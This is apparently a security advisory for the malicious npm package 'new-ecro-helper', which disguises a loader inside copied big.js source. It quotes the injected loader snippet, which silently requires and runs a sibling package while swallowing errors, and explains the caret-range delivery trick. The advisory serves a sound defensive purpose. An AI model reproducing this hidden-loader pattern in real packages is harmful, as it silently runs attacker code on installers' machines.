If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (f0826d146dbc513ac14f403eaa9ba65dffbd04da52c55ff1840ad153dab96e87)
The package publishes verbatim big.js v7.0.1 source (including the upstream copyright header, README, repository URL pointing to MikeMcl/big.js, and the upstream author's email) under the unrelated name `new-ecro-helper`. The main entry (big.js / big.mjs) has an injected loader block that runs on every `require('new-ecro-helper')`: `try { const doc = require("new-helper"); doc.from_str().then(...).catch(...) } catch (error) { }`. The dependency `new-helper` is declared as `^5.8.1` in package.json, so the semver caret admits any current or future 5.x.y version of that sibling package as the actual delivered payload. All errors from both the require and the invocation are swallowed by empty catch handlers, hiding the activity from the consuming application. The big.js code itself is unmodified and serves only as a cover library to disguise the loader. The net effect on installers: `npm install new-ecro-helper` pulls `new-helper` into the dependency tree, and any consumer that requires the package immediately and silently executes code in that sibling package.
Source: ghsa-malware (b45cdcd40f43adb9955aa6a4be1c14e4b35bea9595514d5d96151e1858b755e1)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.